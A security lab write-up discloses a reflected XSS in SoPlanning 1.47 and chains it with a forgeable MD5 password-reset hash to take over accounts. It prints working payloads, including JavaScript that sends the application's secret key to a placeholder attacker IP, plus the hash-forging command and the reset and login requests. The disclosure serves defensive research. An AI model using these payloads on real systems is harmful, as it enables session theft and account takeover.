XSS to Account Takeover – SoPlanning

Researchers:

Nour Alomary

Background

Modern applications typically rely on user input to provide the required functionality to the user. In doing so, the application accepts data from an untrusted source. In some circumstances, this data is processed and output to the end user. In other cases, this data is stored by the application for retrieval at a later stage, or for the viewing of other application users or passing onto other services in order to carry out the user request. Cross-Site Scripting is a vulnerability resulting from the lack of or inadequate sanitisation carried out on user supplied data which is then later rendered back to a user.

When an application includes user-supplied data in its HTTP response without proper sanitisation, any HTML or JavaScript included within that data would be executed when the response is rendered in the user’s browser. This behaviour could be leveraged by an attacker in order to compromise user sessions within the application. This could allow the attacker to impersonate legitimate users through session hijacking. They could also carry out unauthorised actions in the current user context or access data processed by the application.

A variation of Cross-Site Scripting exists which stores the payload in the application which is executed every time the vulnerable parameter is rendered, this is known as stored Cross-Site Scripting.

Details
SoPlanning v1.47.00 was vulnerable to a reflected Cross-Site Scripting vulnerability which when combined with other flaws in the application allowed for a successful account takeover attack. The details below describe each issue and how it led to an attacker performing a password reset for any account within the application.

The following page was vulnerable to a cross site scripting attack using the ‘by’ URL parameter. The request below showed the injected JavaScript payload which when executed showed the current user’s session cookies as shown in Figure 1:

				
					GET 
/soplanning/www/taches.php?order=titre&by=test%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3C!-- HTTP/1.1
Host: 192.168.0.90
[...] 
Cookie: dateDebut=02/09/2020; dateFin=02/11/2020; xposMoisWin=0; xposJoursWin=0; yposJoursWin=0; yposMoisWin=0; PHPSESSID=jf7pcv7o25upt9qga1f1hosq11; soplanningplanning_=tpbvfnhe1hqftau0oktue7505c; baseLigne=users; baseColonne=jours; date_debut_affiche_tache=02%2F09%2F2020; date_fin_affiche_tache=02%2F11%2F2020
				
			

Figure 1 – XSS Cookie

The following was the response which showed the XSS payload rendered in the document:

				
					HTTP/1.1 200 OK
Date: Thu, 03 Sep 2020 10:12:02 GMT 
[...]
 <div class="row"> <div class="col-md-12"> <div class="soplanning-box mt-2"> <table class="table table-striped table-hover" id="taskTab"> <thead> <tr> <th colspan="3"> <a href="https://pentest.co.uk/labs/xss-to-account-takeover-soplanning/?order=nom&by=test"><script>alert(document.cookie)</script><!--">Tasks (0)</a> </th> 
[...]
				
			

Independently, this vulnerability would allow an attacker to steal the session cookies for an authenticated user which would grant them the same access as the target user. It could also be used to load and execute malicious code within the application or simply be used to target the user’s browser.

However, this vulnerability was exploited to grant the attacker persistent access to the application thereby increasing the severity and impact. This was made possible due to the way the application carried out password reset requests.

By reverse engineering the password reset process using the following snippet from the class_user.inc file:

				
					public function mailChangerPwd() {
        if(is_null($this->email) ||is_null($this->login)) { 
                return true;
        } $smarty = new MySmarty(); 
        $sujet = CONFIG_SOPLANNING_TITLE . ' - ' . $smarty->getConfigVars('mail_sujet_changerPwd'); 
        if (CONFIG_SOPLANNING_URL != '') 
        { 
            $smarty->assign('lien', CONFIG_SOPLANNING_URL . 
    /change_password.php?user_id=' . $this->user_id . '&date=' . date('Y-m-d') . '&hash=' . md5($this->user_id . '􀳦' . date('Y-m-d') . '􀳦' . CONFIG_SECURE_KEY)); 
            }else 
            {[...]
				
			

It was noted that the following parameters were required to create the password reset URL sent to the user’s email address when they carry out a password reset.

⎯ User_id – The user_id, this can be found by an application user, or simply guessed, an organisation may have a standard naming convention so it would be possible to guess the target user_id
⎯ Date – The date, this is the date the password reset request was made in the format (y-m-d)
⎯ CONFIG_SECURE_KEY – an administrator user has access to this key. By exploiting the XSS flaw detailed above, it was possible to retrieve this value.

The following payload was used to exfiltrate the CONFIG_SECURE_KEY to an attacker-controlled server:

				
					GET 
/soplanning/www/taches.php?order=titre&by=test%22%3E%3c%73%63%72%69%70%74%3e%20%76%61%72%20%78%68%74%74%70%20%3d%20%6e%65%77%20%58%4d%4c%48%74%74%70%52%65%71%75%65%73%74%28%29%3b%20%78%68%74%74%70%2e%6f%6e%72%65%61%64%79%73%74%61%74%65%63%68%61%6e%67%65%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%20%69%66%20%28%74%68%69%73%2e%72%65%61%64%79%53%74%61%74%65%20%3d%3d%20%34%20%26%26%20%74%68%69%73%2e%73%74%61%74%75%73%20%3d%3d%20%32%30%30%29%20%7b%20%76%61%72%20%64%6f%63%20%3d%20%78%68%74%74%70%2e%72%65%73%70%6f%6e%73%65%3b%20%76%61%72%20%63%6f%6e%66%4b%65%79%20%3d%20%64%6f%63%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%43%4f%4e%46%49%47%5f%53%45%43%55%52%45%5f%4b%45%59%22%29%3b%20%61%6c%65%72%74%28%63%6f%6e%66%4b%65%79%2e%76%61%6c%75%65%29%3b%7d%7d%3b%20%78%68%74%74%70%2e%6f%70%65%6e%28%22%47%45%54%22%2c%20%22%2f%73%6f%70%6c%61%6e%6e%69%6e%67%2f%77%77%77%2f%6f%70%74%69%6f%6e%73%2e%70%68%70%22%2c%20%74%72%75%65%29%3b%20%78%68%74%74%70%2e%72%65%73%70%6f%6e%73%65%54%79%70%65%20%3d%20%22%64%6f%63%75%6d%65%6e%74%22%3b%20%78%68%74%74%70%2e%73%65%6e%64%28%29%3b%3c%2f%73%63%72%69%70%74%3e HTTP/1.1 
Host: 192.168.0.90 
Upgrade-Insecure-Requests: 1 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36 
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 
Accept-Encoding: gzip, deflate 
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: dateDebut=02/09/2020; dateFin=02/11/2020; xposMoisWin=0; xposJoursWin=0; yposJoursWin=0; yposMoisWin=0; PHPSESSID=jf7pcv7o25upt9qga1f1hosq11; soplanningplanning_=tpbvfnhe1hqftau0oktue7505c; baseLigne=users; baseColonne=jours; date_debut_affiche_tache=02%2F09%2F2020; date_fin_affiche_tache=02%2F11%2F2020 
Connection: close
				
			

The following response contained the decoded payload which made a request to the page containing the CONFIG_SECURE_KEY, the value was extracted and sent to the attacker-controlled server:

				
					HTTP/1.1 200 OK
Date: Wed, 02 Sep 2020 17:37:06 GMT 
Server: Apache/2.4.46 (Unix) OpenSSL/1.1.1d 
X-Powered-By: PHP/7.4.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT 
Cache-Control: no-store, no-cache, must-revalidate 
Pragma: no-cache 
Vary: Accept-Encoding 
Content-Length: 27812 
Connection: close 
Content-Type: text/html; charset=iso-8859-1 

<!DOCTYPE html> <html lang="fr"> 
[...]
<div class="row"> <div class="col-md-12"> <div class="soplanning-box mt-2"> <table class="table table-striped table-hover" id="taskTab"> <thead> <tr> <th colspan="3"> <a href="?order=nom&by=test"><script> 
var request = new XMLHttpRequest(); 
request.open("GET", "/soplanning/www/options.php", true); 
request.responseType = "document"; request.send(); 
request.onreadystatechange = function() { 
    if (request.readyState == 4) {
        var doc = request.response; 
        var elem = doc.getElementById("CONFIG_SECURE_KEY"); 
        new Image().src="http://<ATTACKERIP>/config.html?key="+elem.value; 
        } 
}
</script>">Tasks (0)</a>
[...]
				
			

Figure 2 showed the XSS payload successfully executing and sending the required key.

Figure 2 – CONFIG_SECURE_KEY Sent To Attacker Server

To demonstrate the account takeover, a test account was created for a user using the details shown in Figure 3.

Figure 3 – Test Account Details

The following request was made to reset the password for the test user:

				
					POST /soplanning/www/process/xajax_server.php HTTP/1.1
Host: 192.168.0.90 
[...] 
xajax=changerPwd&xajaxr=1599125022510&xajaxargs[]=test%40test.com
				
			

The following response showed that the request was successful:

				
					HTTP/1.1 200 OK 
Date: Thu, 03 Sep 2020 09:23:42 GMT
Server: Apache/2.4.46 (Unix) OpenSSL/1.1.1d
X-Powered-By: PHP/7.4.9 
Expires: Thu, 19 Nov 1981 08:52:00 GMT 
Cache-Control: no-store, no-cache, must-revalidate 
Pragma: no-cache 
Vary: Accept-Encoding 
Content-Length: 169 
Connection: close 
Content-Type: text/xml; charset=ISO-8859-1

<?xml version="1.0" encoding="utf-8" ?><xjx><cmd n="al"><![CDATA[Verify your mail inbox, you will be able to change your password with the email just sent]]></cmd></xjx>
				
			

The next step was to manually generate the password change URL for the test user:

				
					change_password.php?user_id=test&date=2020-09-03&hash=<MD5Hash>
				
			

The hash parameter was made up of the following values then hashed using the MD5 algorithm:

				
					test¤2020-09-03¤8e45be46a1976b30a9187cf4280040db
				
			

The following command was used to generate the required hash parameter:

				
					$echo -ne 'test\xa42020-09-03\xa48e45be46a1976b30a9187cf4280040db' | md5sum
6af82d3711eb2800ecf9c348a2f8e45f
				
			

With the newly generated password reset link for the test user, the following request was made to the application:

				
					GET /soplanning/www/change_password.php?user_id=test&date=2020-09-03&hash=6af82d3711eb2800ecf9c348a2f8e45f HTTP/1.1 
Host: 192.168.0.90
[...]
				
			

The following response and Figure 4 showed that it was possible to reset the password for the target user:

				
					HTTP/1.1 200 OK
Date: Thu, 03 Sep 2020 09:43:40 GMT
Connection: close 
Content-Type: text/html; charset=iso-8859-1
[...]
        </style> </head> <body> <link href="assets/css/simplePage.css" rel="stylesheet"> <br /><br /> <div class="container"> <h3 class="text-center"> <span class="soplanning_index_title2">Simple Online Planning</span> <small>v1.47.00</small> </h3> <div class="small-container"> <form action="process/login.php" method="post" class="form-horizontal box"> <div class="form-group row col-md-12"> <label for="login" class="col-md-4 col-sm-4 control-label">Login :</label> <div class="col-md-8 col-sm-8"> 
                test
            </div> </div> <div class="form-group row col-md-12"> <label for="password" class="col-md-4 col-sm-4 control-label">New password :</label> <div class="col-md-8 col-sm-8"> <input type="password" size="20" name="password" class="form-control" id="password"> 
[...]
				
			

Figure 4 – Password Change Form For Test User

The following request contained the new password for the test user:

				
					POST /soplanning/www/process/xajax_server.php HTTP/1.1
Host: 192.168.0.90 
Origin: http://192.168.0.90 
Referer: 
http://192.168.0.90/soplanning/www/change_password.php?user_id=test&date=2020-09-03&hash=6af82d3711eb2800ecf9c348a2f8e45f
[...] 
xajax=nouveauPwd&xajaxr=1599126582871&xajaxargs[]=admin
				
			

Following the password change request, the following login request was made with new password:

				
					POST /soplanning/www/process/login.php HTTP/1.1 
Host: 192.168.0.90 
[...]
login=test&password=admin
				
			

The response below indicated that the login attempt was successful:

				
					HTTP/1.1 302 Found
Date: Thu, 03 Sep 2020 09:49:49 GMT
Server: Apache/2.4.46 (Unix) OpenSSL/1.1.1d
X-Powered-By: PHP/7.4.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate 
Pragma: no-cache 
Set-Cookie: baseLigne=users; expires=Sun, 16-Jan-2022 09:49:49 GMT; Max-Age=43200000; path=/ 
Set-Cookie: baseColonne=jours; expires=Sun, 16-Jan-2022 09:49:49 GMT; Max-Age=43200000; path=/ 
Location: ../planning.php
				
			

This process can be repeated with any application user as long as the attacker knows the email address and user_id of the target. This information is usually easy to identify with reconnaissance.

Although carrying out a password reset generates an email to the user, an attacker can carry out this attack during a time which the user is likely not to have access to their email.

Risk Analysis

Risk Category: High
CVSSv2: 8.5 AV:N/AC:M/Au:S/C:C/I:C/A:C
CVSSv3: 8.8 AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Affected item

SOPlannning version 1.47 and lower

Recommendation

Update to SOPlannning Version 1.48

How can we support you?

Contact our team today to find out how we can help support your organization.